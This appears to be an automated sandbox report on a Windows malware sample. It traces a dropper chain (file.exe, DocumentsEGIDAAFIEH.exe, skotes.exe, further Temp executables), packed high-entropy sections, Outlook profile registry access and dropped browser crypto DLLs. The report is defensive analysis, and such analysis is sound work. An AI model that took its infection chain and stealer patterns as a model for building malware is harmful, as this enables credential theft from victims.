Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7204 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7204 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5952 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEGIDAAFIEH.exe "C:\Users\user\DocumentsEGIDAAFIEH.exe"
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe "C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Section loaded: winrnr.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1827328 > 1048576

Source: file.exe

Static PE information: Raw size of zoewblch is bigger than: 0x100000 < 0x1a4400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2801063610.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2801063610.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.270000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zoewblch:EW;moyfpeht:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zoewblch:EW;moyfpeht:EW;.taggant:EW;
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Unpacked PE file: 21.2.DocumentsEGIDAAFIEH.exe.a60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rvvxjflc:EW;jcggrwcz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rvvxjflc:EW;jcggrwcz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rvvxjflc:EW;jcggrwcz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rvvxjflc:EW;jcggrwcz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rvvxjflc:EW;jcggrwcz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rvvxjflc:EW;jcggrwcz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Unpacked PE file: 29.2.2ae4e7be65.exe.520000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ozbvvmja:EW;ydmfclot:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ozbvvmja:EW;ydmfclot:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C963480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C963480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 2ae4e7be65.exe.24.dr	Static PE information: real checksum: 0x44e7f8 should be: 0x4522e4
Source: c9b8a5fd06.exe.24.dr	Static PE information: real checksum: 0x1c4a65 should be: 0x18f263
Source: random[1].exe.24.dr	Static PE information: real checksum: 0x44e7f8 should be: 0x4522e4
Source: file.exe	Static PE information: real checksum: 0x1be71b should be: 0x1c6b00
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1e4046 should be: 0x1d7c3e
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x1e4046 should be: 0x1d7c3e
Source: random[1].exe0.24.dr	Static PE information: real checksum: 0x1c4a65 should be: 0x18f263
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: real checksum: 0x1e4046 should be: 0x1d7c3e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zoewblch
Source: file.exe	Static PE information: section name: moyfpeht
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: rvvxjflc
Source: random[1].exe.0.dr	Static PE information: section name: jcggrwcz
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: section name:
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: section name:
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: section name: rvvxjflc
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: section name: jcggrwcz
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: rvvxjflc
Source: skotes.exe.21.dr	Static PE information: section name: jcggrwcz
Source: skotes.exe.21.dr	Static PE information: section name: .taggant
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: ozbvvmja
Source: random[1].exe.24.dr	Static PE information: section name: ydmfclot
Source: random[1].exe.24.dr	Static PE information: section name: .taggant
Source: 2ae4e7be65.exe.24.dr	Static PE information: section name:
Source: 2ae4e7be65.exe.24.dr	Static PE information: section name: .rsrc
Source: 2ae4e7be65.exe.24.dr	Static PE information: section name: .idata
Source: 2ae4e7be65.exe.24.dr	Static PE information: section name:
Source: 2ae4e7be65.exe.24.dr	Static PE information: section name: ozbvvmja
Source: 2ae4e7be65.exe.24.dr	Static PE information: section name: ydmfclot
Source: 2ae4e7be65.exe.24.dr	Static PE information: section name: .taggant
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: .idata
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: ilmuiwjp
Source: random[1].exe0.24.dr	Static PE information: section name: isxtwavb
Source: random[1].exe0.24.dr	Static PE information: section name: .taggant
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name:
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name: .idata
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name:
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name: ilmuiwjp
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name: isxtwavb
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B536 push ecx; ret		0_2_6C99B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007CD91C push ecx; ret		24_2_007CD92F

Source: file.exe	Static PE information: section name: zoewblch entropy: 7.95450760331598
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.983608740333537
Source: random[1].exe.0.dr	Static PE information: section name: rvvxjflc entropy: 7.95542311892839
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: section name: entropy: 7.983608740333537
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: section name: rvvxjflc entropy: 7.95542311892839
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.983608740333537
Source: skotes.exe.21.dr	Static PE information: section name: rvvxjflc entropy: 7.95542311892839
Source: random[1].exe.24.dr	Static PE information: section name: ozbvvmja entropy: 7.953751777733906
Source: 2ae4e7be65.exe.24.dr	Static PE information: section name: ozbvvmja entropy: 7.953751777733906
Source: random[1].exe0.24.dr	Static PE information: section name: entropy: 7.9825702310482365
Source: random[1].exe0.24.dr	Static PE information: section name: ilmuiwjp entropy: 7.952692119350795
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name: entropy: 7.9825702310482365
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name: ilmuiwjp entropy: 7.952692119350795

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEGIDAAFIEH.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsEGIDAAFIEH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008388001\c9b8a5fd06.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
